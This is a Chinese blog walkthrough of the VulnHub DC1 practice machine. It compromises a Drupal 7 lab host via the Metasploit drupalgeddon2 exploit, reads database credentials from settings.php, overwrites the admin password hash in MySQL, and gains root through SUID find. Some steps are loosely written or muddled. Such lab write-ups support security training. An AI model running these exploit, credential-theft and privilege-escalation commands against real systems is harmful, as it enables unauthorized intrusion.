☰
DC1 靶机渗透测试实战:从信息收集到 Root 提权全流程
2026/10/14 17:58:29 网站建设 项目流程

一、实验概述

本实验以 VulnHub 平台上的 DC1 靶机为目标,完整演示一次从信息收集、漏洞识别、漏洞利用到权限提升的渗透测试全流程。DC1 是一台基于 Debian 系统的虚拟机,运行着 Drupal 7 内容管理系统,存在著名的 Drupalgeddon2 远程代码执行漏洞。通过本次实战,读者可以掌握渗透测试的标准方法论,理解常见漏洞的利用原理,并学会在真实环境中进行权限提升。

实验环境:

  • 攻击机:Kali Linux(IP:192.168.5.133)
  • 靶机:DC1(Debian 系统,运行 Drupal 7)
  • 网络环境:同一局域网,通过 MAC 地址确认靶机 IP

实验目标:获取靶机上的 5 个 flag 文件,最终获得 root 权限。

二、第一步:信息收集——用 nmap 扫描靶机

2.1 nmap 是什么?

nmap(Network Mapper,网络映射器)是世界上最著名的端口扫描工具,也是渗透测试信息收集阶段的核心工具。它能够快速发现目标主机开放的端口、运行的服务、操作系统类型以及潜在的安全漏洞。在本次实验中,我们首先通过 MAC 地址确认靶机 IP 为 192.168.5.133,然后使用 nmap 进行端口扫描。

扫描靶机:

2.2 端口扫描

命令 1:快速扫描常用端口

nmap -T4 192.168.5.133

  • -T4:扫描速度等级,T4 表示快速扫描
  • 默认行为:只扫描前 1000 个常用端口
  • 不做:版本探测、脚本执行、操作系统识别

输出结果:只列出开放端口及对应的服务名(粗略)。

优点:速度很快,适合快速确认目标开放情况。

缺点:没有软件版本、没有系统信息、没有漏洞探测结果,报告信息偏少。

命令 2:全面扫描所有端口

nmap -sV -sC -O -p- 192.168.5.133

  • -p-:扫描全部 65535 个 TCP 端口(所有端口,而非默认的 1000 个)
  • -sV:探测服务版本(例如 Apache 2.2.22)
  • -sC:执行 nmap 默认脚本,搜集信息、进行简单漏洞检测
  • -O:探测靶机操作系统(识别 DC1 为 Debian 系统)

输出结果:开放端口、软件版本、系统类型、脚本探测结果,信息完整,适合写实验报告。

优点:信息全面,为后续漏洞利用提供关键依据。

缺点:扫描很慢,-p- 全端口扫描耗时较长。

安全提示:在实际渗透测试中,建议先使用快速扫描确认目标开放情况,再针对特定端口进行深度探测,以平衡效率与信息完整性。

三、第二步:CMS 识别

3.1 什么是 CMS?

CMS(Content Management System,内容管理系统)就是"建站模板软件"。它提供了一套完整的网站内容管理解决方案,用户无需编写代码即可创建和管理网站。常见的 CMS 包括 WordPress、Joomla、Drupal 等。识别目标网站使用的 CMS 类型和版本,是渗透测试中至关重要的一步,因为不同 CMS 存在不同的已知漏洞。

3.2 怎么识别?

可以用浏览器访问 http://192.168.5.133,观察页面特征。Drupal 网站通常具有以下特征:

  • 页面底部或源代码中包含 Drupal 版本信息
  • 默认路径 /sites/default/ 存在
  • 特定的 HTML 结构和 CSS 类名

此外,还可以使用专门的指纹识别工具,如 WhatWeb、Wappalyzer 等,快速识别 CMS 类型和版本。

3.3 顺便摸清网站目录

还可以用 dirb / dirsearch / gobuster 扫一下网站有哪些隐藏路径:

dirb http://192.168.5.133

目录扫描可以发现管理后台、备份文件、配置文件等敏感路径,为后续攻击提供更多入口。在本次实验中,目录扫描结果确认了 Drupal 的安装路径,为后续读取配置文件奠定了基础。

四、第三步:查找并利用 Exploit(Drupal 漏洞)

4.1 什么是 Exploit?

Exploit(漏洞利用程序)就是"利用某个漏洞的现成攻击代码"。当发现目标系统存在已知漏洞时,可以使用现成的 Exploit 代码快速获取系统权限,而不需要从零编写攻击代码。Exploit-DB 是全球最大的漏洞利用代码库,Kali Linux 内置了其本地版本 searchsploit。

4.2 用 searchsploit 查漏洞

Kali 自带一个离线漏洞库 searchsploit:

searchsploit drupal

搜索结果会列出所有与 Drupal 相关的已知漏洞及对应的 Exploit 代码。在本次实验中,我们重点关注 Drupalgeddon2 漏洞(CVE-2018-7600),这是一个影响 Drupal 7 和 8 的远程代码执行漏洞,允许攻击者无需认证即可在服务器上执行任意代码。

五、第四步:Metasploit 基本操作

5.1 Metasploit 是什么?

Metasploit(简称 msf)是全球最流行的渗透测试框架。它集成了漏洞利用模块、Payload 生成、后渗透工具等,是渗透测试人员的核心武器。Metasploit 框架支持自动化漏洞利用,大大降低了攻击门槛。

5.2 漏洞利用,MSF 拿到低权限 Webshell

1. 启动 Metasploit 框架

msfconsole

2. 在 msf 里面搜索这个漏洞模块

search drupalgeddon2

3. 加载漏洞模块

use exploit/unix/webapp/drupal_drupalgeddon2

4. 设置靶机 IP

set RHOSTS 192.168.5.133

5. 运行攻击

run

成功后会看到 Meterpreter 会话建立(提示符变成 meterpreter >)。输入 shell 命令,就进入了目标机器的命令行:

meterpreter > shell Process 1234 created. Channel 1 created. whoami www-data

此时我们获得了低权限的 Web 服务账户 www-data,这是 Drupal 运行所使用的系统账户。虽然权限较低,但已经可以执行系统命令、读取部分文件,为后续提权奠定了基础。

5.3 获取第一个 Flag

ls cat flag1.txt

输出内容为:

# Every good CMS needs a config file - and so do you.

flag1 的内容是一句提示:"每个好的 CMS 都需要一个配置文件——你也需要。" 也就是说:下一个线索在网站配置文件里!

六、第五步:用 pty ,将低权限 Shell 升级为交互式伪终端 pty

6.1 为什么要升级?

普通反弹 shell 属于裸管道 shell,存在很多缺陷:

  1. 不支持Tab键命令自动补全,输入命令很麻烦;
  2. 无法运行vim、nano这类需要交互界面的程序;
  3. 没有信号处理,使用Ctrl+C会直接把整个 shell 会话断开;
  4. 没有终端大小、颜色等环境变量,部分命令执行异常。

利用 Python 的 pty 模块,把低权限 shell 升级成交互式伪终端(pty),模拟一个完整真实终端环境。升级之后: 支持 Tab 自动补全 ;可以正常使用 vim 等交互式编辑器 ;Ctrl+C不会直接断开 shell,只终止当前运行程序 ;完整终端环境,方便后续提权、操作靶机(普通反弹 shell 交互能力很差,不能 Tab 补全、无法运行 vim 这类交互式软件。升级 pty 伪终端,模拟完整终端环境,解决上述问题,方便后续在靶机中执行操作与提权。)

6.2 什么是 pty?

pty(pseudo terminal,伪终端)就是"模拟出来的真终端"。Python 自带一个 pty 模块,只要目标机器上有 Python,一条命令就能把裸管道升级成交互终端:

# 在拿到 www-data 的 shell 后,先看看有没有 python which python # 或 which python3 用 python 的 pty 模块生成一个交互式 bash python -c 'import pty; pty.spawn("/bin/bash")'

执行后,Shell 就升级为完整的交互式终端,可以正常使用方向键、Tab 补全、su 切换用户等功能。这是后渗透阶段非常实用的技巧。

七、第六步:读取 CMS 配置文件,提取数据库账号与密码

7.1 什么是数据库配置文件?

CMS 的所有文章、用户、评论都存在数据库里。网站每次启动都要连数据库,所以"数据库的地址、账号、密码"必须写在一个固定位置的文件里——这就是配置文件(config file)。相当于网站的"钥匙串",一旦被攻破者读到,数据库就裸奔了。因此,读取配置文件是渗透测试中获取敏感信息的关键步骤。

7.2 Drupal 的配置文件在哪?

Drupal 7 的配置文件固定位于网站根目录下:sites/default/settings.php。我们直接去读:

cd /var/www/sites/default # Drupal 网站根目录 cat settings.php | grep -A5 'database'

输出结果:

数据库:drupaldb,账号:dbuser,密码:R0ck3t

或者直接用完整路径,不用 cd 切换目录,直接读取 settings.php:

cat /var/www/sites/default/settings.php

或者用 tac 从末尾快速查看:

tac /var/www/sites/default/settings.php

成功获取数据库连接信息后,我们获得了第二个 flag!

八、第七步:登录数据库,查询 Drupal 用户密码

8.1 登录 MariaDB(MySQL)

mysql -u dbuser -p

回车后输入密码:R0ck3t

8.2 进入 drupaldb 数据库

use drupaldb;

8.3 查询 Drupal 全部用户(重点命令)

SELECT name,pass FROM users;

  • name:网站用户名
  • pass:加密后的哈希密码

8.4 退出数据库

exit;

8.5 新建 Kali 本地 hash.txt

nano hash.txt

把以下内容粘贴进去:

Fred:$S$DWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg

保存:Ctrl+O → 回车,退出:Ctrl+X

8.6 破解密码哈希

users 表里的 pass 字段不是明文密码,而是加密后的"哈希"值(如 $S$D... 开头,Drupal 特有格式)。常见的破解思路:

# 方法一:把哈希保存到 hash.txt,用 john 暴力破解 john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

这个方法对于当前实验进度太慢了,先换一种方式。Drupal 的密码哈希算法是加盐的 SHA-512 变体,暴力破解需要大量计算资源。因此,我们采用更高效的思路——直接修改数据库中的密码哈希。

九、第八步:数据库渗透——修改管理员密码

9.1 利用 Metasploit 获取数据库访问权限

在获得数据库账号密码后,我们可以尝试直接登录 MySQL。但更高效的方式是利用 Metasploit 的数据库渗透模块:

1. 选择漏洞模块 use 1 设置对象并运行 show options # 查看配置 set rhosts 192.168.5.133 # 设置攻击对象 run # 运行测试漏洞

成功获取到 meterpreter 的 shell。

9.2 数据库渗透

接下来利用获取的信息尝试登录 mysql:

# 查看数据库的表 use drupaldb; show tables; 查看表的数据 Select * from users;

9.3 使用 password-hash.sh 生成新密码哈希

退出 mysql,在当前目录中的 scripts 目录中存在文件 password-hash.sh 用于加密密码:

cd scripts; ls; cat password-hash.sh

使用该脚本生成新密码的哈希值:

cd .. # 退回 /var/www 目录再执行脚本 # cd .. 是返回上一级,从 /var/www/scripts → /var/www php scripts/password-hash.sh 123456

脚本会输出一个加密后的哈希值,例如:

$S$DvTWrKx4PY7UNFdAnK5K543/pw.6s7v0I3t248OWVMM3mzkjWLAV

9.4 登录 MySQL 修改 admin 密码

mysql -u dbuser -pR0ck3t

回车,进入 mysql,提示符变成 mysql>。

2. 选择数据库 use drupaldb; 执行 UPDATE 修改 admin 密码 update users set pass = "$S$DvTWrKx4PY7UNFdAnK5K543/pw.6s7v0I3t248OWVMM3mzkjWLAV" where name='admin';

修改成功后,使用新密码 123456 登录 Drupal 后台 http://192.168.5.133,找到第三个 flag!

flag3 的内容提示我们需要提取获取 shadow 里的文件,这为下一步权限提升指明了方向。

十、第九步:权限提升——利用 SUID 提权获取 Root

10.1 查看哪些命令具有 SUID 权限

find / -perm -u=s -type f 2>/dev/null

作用:找出系统里带 SUID 的程序,这里能看到 /usr/bin/find,代表 find 可以用来提权。

找到find命令,利用find进行提权

find / -name index.php -exec /bin/sh \;

出现#,root提权成功

原理:find 被配置了 SUID 权限,执行 -exec 参数时,会以文件所有者(root)身份执行后面的 /bin/sh,直接弹出 root shell。

获取到flag4

关键字查找flag

find / -name "*flag*" 2>/dev/null

cat /root/thefinalflag.txt

找出最终flag!

文中部分内容借助资料辅助整理,本人对部分原理理解尚有不足,内容仅用于个人学习交流,不构成任何攻击指导。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询